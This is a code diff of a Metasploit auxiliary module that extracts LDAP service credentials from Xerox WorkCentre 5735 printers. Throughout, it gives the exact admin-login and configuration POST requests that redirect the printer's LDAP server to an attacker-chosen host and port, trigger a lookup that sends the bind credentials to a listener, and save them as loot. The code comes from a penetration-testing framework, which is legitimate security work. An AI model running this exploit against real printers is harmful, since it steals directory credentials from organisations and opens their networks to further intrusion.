2
2
# This module requires Metasploit: http//metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
-
6
5
require 'rex/proto/http'
7
6
require 'msf/core'
8
7
@@ -13,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary
13
12
14
13
def initialize ( info = { } )
15
14
super ( update_info ( info ,
16
- 'Name' => 'Xerox workcentre 5735 LDAP credential extractor' ,
15
+ 'Name' => 'Xerox workcentre 5735 LDAP service redential extractor' ,
17
16
'Description' => %{
18
17
This module extract the printers LDAP user and password from Xerox workcentre 5735.
19
18
} ,
@@ -40,7 +39,10 @@ def run
40
39
print_status ( "Attempting to extract LDAP username and password for the host at #{ rhost } " )
41
40
42
41
@auth_cookie = default_page
43
- return unless @auth_cookie
42
+ if @auth_cookie . blank?
43
+ print_status ( "Unable to get authentication cookie from #{ rhost } " )
44
+ return
45
+ end
44
46
45
47
status = login
46
48
return unless status
@@ -53,7 +55,7 @@ def run
53
55
54
56
start_listener
55
57
unless @data
56
- print_error ( 'Failed to start listiner or the printer did not send us the credentials . :(' )
58
+ print_error ( 'Failed to start listiner or the printer did not send us the creds . :(' )
57
59
status = restore_ldap_server
58
60
unless status
59
61
print_error ( 'Failed to restore old LDAP server. Please manually restore' )
@@ -64,11 +66,11 @@ def run
64
66
status = restore_ldap_server
65
67
return unless status
66
68
67
- ldap_binary_creds = Ddata . scan ( /(\w +\\ \w +).\s *(.+)/ ) . flatten
69
+ ldap_binary_creds = @data . scan ( /(\w +\\ \w +).\s *(.+)/ ) . flatten
68
70
ldap_creds = "#{ ldap_binary_creds [ 0 ] } :#{ ldap_binary_creds [ 1 ] } "
69
71
70
72
#Woot we got creds so lets save them.#
71
- print_good ( "The following credential were captured : #{ ldap_creds } " )
73
+ print_good ( "The following creds were capured : #{ ldap_creds } " )
72
74
loot_name = 'ldap.cp.creds'
73
75
loot_type = 'text/plain'
74
76
loot_filename = 'ldap-creds.text'
@@ -87,13 +89,21 @@ def default_page
87
89
print_error ( "Failed to connect to #{ rhost } . Please check the printers IP address." )
88
90
return false
89
91
end
90
- @model_number = res . body . scan ( /productName">XEROX WorkCentre (\d *)</ ) . flatten # will use late for a switch for diffrent Xerox models.
91
92
res . get_cookies
92
93
end
93
94
94
95
def login
95
96
login_page = '/userpost/xerox.set'
96
- login_post_data = "_fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername=admin&webPassword=#{ datastore [ 'PASSWORD' ] } &frmaltDomain=default"
97
+ login_vars = {
98
+ '_fun_function' => 'HTTP_Authenticate_fn' ,
99
+ 'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php' ,
100
+ 'webUsername' => 'admin' ,
101
+ 'webPassword' => datastore [ 'PASSWORD' ] ,
102
+ 'frmaltDomain' => 'default'
103
+ }
104
+ login_post_data = [ ]
105
+ login_vars . each_pair { |k , v | login_post_data << "#{ k } =#{ v } " }
106
+ login_post_data *= '&'
97
107
method = 'POST'
98
108
99
109
res = make_request ( login_page , method , login_post_data )
@@ -125,8 +135,19 @@ def ldap_server_info
125
135
126
136
def update_ldap_server
127
137
ldap_update_page = '/dummypost/xerox.set'
128
- ldap_update_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{ datastore [ 'NewLDAPServer' ] } %3A#{ datastore [ 'SRVPORT' ] } &ldap.maxSearchResults=25&ldap.searchTime=30"
138
+ ldap_update_vars = {
139
+ '_fun_function' => 'HTTP_Set_Config_Attrib_fn' ,
140
+ 'NextPage' => '/ldap/index.php?ldapindex=default' ,
141
+ 'from' => 'ldapConfig' ,
142
+ 'ldap.server[default].server' => "#{ datastore [ 'NewLDAPServer' ] } :#{ datastore [ 'SRVPORT' ] } " ,
143
+ 'ldap.maxSearchResults' => '25' ,
144
+ 'ldap.searchTime' => '30' ,
145
+ }
146
+ ldap_update_post = [ ]
147
+ ldap_update_vars . each_pair { |k , v | ldap_update_post << "#{ k } =#{ v } " }
148
+ ldap_update_post *= '&'
129
149
method = 'POST'
150
+
130
151
print_status ( "Updating LDAP server: #{ datastore [ 'NewLDAPServer' ] } and port: #{ datastore [ 'SRVPORT' ] } " )
131
152
res = make_request ( ldap_update_page , method , ldap_update_post )
132
153
if res . blank? || res . code != 200
@@ -138,8 +159,30 @@ def update_ldap_server
138
159
139
160
def trigger_ldap_request
140
161
ldap_trigger_page = '/userpost/xerox.set'
141
- ldap_trigger_post = 'nameSchema=givenName&emailSchema=mail&phoneSchema=telephoneNumber&postalSchema=postalAddress&mailstopSchema=l&citySchema=physicalDeliveryOfficeName&stateSchema=st&zipCodeSchema=postalcode&countrySchema=co&faxSchema=facsimileTelephoneNumber&homeSchema=homeDirectory&memberSchema=memberOf&uidSchema=uid&ldapSearchName=test&ldapServerIndex=default&_fun_function=HTTP_LDAP_Search_fn&NextPage=%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
162
+ ldap_trigger_vars = {
163
+ 'nameSchema' => 'givenName' ,
164
+ 'emailSchema' => 'mail' ,
165
+ 'phoneSchema' => 'telephoneNumber' ,
166
+ 'postalSchema' => 'postalAddress' ,
167
+ 'mailstopSchema' => 'l' ,
168
+ 'citySchema' => 'physicalDeliveryOfficeName' ,
169
+ 'stateSchema' => 'st' ,
170
+ 'zipCodeSchema' => 'postalcode' ,
171
+ 'countrySchema' => 'co' ,
172
+ 'faxSchema' => 'facsimileTelephoneNumber' ,
173
+ 'homeSchema' => 'homeDirectory' ,
174
+ 'memberSchema' => 'memberOf' ,
175
+ 'uidSchema' => 'uid' ,
176
+ 'ldapSearchName' => 'test' ,
177
+ 'ldapServerIndex' => 'default' ,
178
+ '_fun_function' => 'HTTP_LDAP_Search_fn' ,
179
+ 'NextPage' => '%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
180
+ }
181
+ ldap_trigger_post = [ ]
182
+ ldap_trigger_vars . each_pair { |k , v | ldap_trigger_post << "#{ k } =#{ v } " }
183
+ ldap_trigger_post *= '&'
142
184
method = 'POST'
185
+
143
186
print_status ( 'Triggering LDAP reqeust' )
144
187
res = make_request ( ldap_trigger_page , method , ldap_trigger_post )
145
188
res . code
@@ -172,8 +215,33 @@ def on_client_data(client)
172
215
173
216
def restore_ldap_server
174
217
ldap_restore_page = '/dummypost/xerox.set'
175
- ldap_restore_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapaction%3Dadd%26ldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{ @ldap_server } %3A#{ @ldap_port } &ldap.maxSearchResults=25&ldap.searchTime=30&ldap.search.uid=uid&ldap.search.name=givenName&ldap.search.email=mail&ldap.search.phone=telephoneNumber&ldap.search.postal=postalAddress&ldap.search.mailstop=l&ldap.search.city=physicalDeliveryOfficeName&ldap.search.state=st&ldap.search.zipcode=postalcode&ldap.search.country=co&ldap.search.ifax=No+Mappings+Available&ldap.search.faxNum=facsimileTelephoneNumber&ldap.search.home=homeDirectory&ldap.search.membership=memberOf"
218
+ ldap_restore_vars = {
219
+ '_fun_function' => 'HTTP_Set_Config_Attrib_fn' ,
220
+ 'NextPage' => '/ldap/index.php?ldapaction=add' ,
221
+ 'ldapindex' => 'default&from=ldapConfig' ,
222
+ 'ldap.server[default].server' => "#{ @ldap_server } :#{ @ldap_port } " ,
223
+ 'ldap.maxSearchResults' => '25' ,
224
+ 'ldap.searchTime' => '30' ,
225
+ 'ldap.search.uid' => 'uid' ,
226
+ 'ldap.search.name' => 'givenName' ,
227
+ 'ldap.search.email' => 'mail' ,
228
+ 'ldap.search.phone' => 'telephoneNumber' ,
229
+ 'ldap.search.postal' => 'postalAddress' ,
230
+ 'ldap.search.mailstop' => 'l' ,
231
+ 'ldap.search.city' => 'physicalDeliveryOfficeName' ,
232
+ 'ldap.search.state' => 'st' ,
233
+ 'ldap.search.zipcode' => 'postalcode' ,
234
+ 'ldap.search.country' => 'co' ,
235
+ 'ldap.search.ifax' => 'No Mappings Available' ,
236
+ 'ldap.search.faxNum' => 'facsimileTelephoneNumber' ,
237
+ 'ldap.search.home' => 'homeDirectory' ,
238
+ 'ldap.search.membership' => 'memberOf'
239
+ }
240
+ ldap_restore_post = [ ]
241
+ ldap_restore_vars . each_pair { |k , v | ldap_restore_post << "#{ k } =#{ v } " }
242
+ ldap_restore_post *= '&'
176
243
method = 'POST'
244
+
177
245
print_status ( "Restoring LDAP server: #{ @ldap_server } " )
178
246
res = make_request ( ldap_restore_page , method , ldap_restore_post )
179
247
if res . blank? || res . code != 200
@@ -193,7 +261,7 @@ def make_request(page, method, post_data)
193
261
'data' => post_data
194
262
} , datastore [ 'TIMEOUT' ] . to_i )
195
263
return res
196
- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , :: Errno :: EPIPE
264
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
197
265
print_error ( "#{ rhost } :#{ rport } - Connection failed." )
198
266
return false
199
267
end
0 commit comments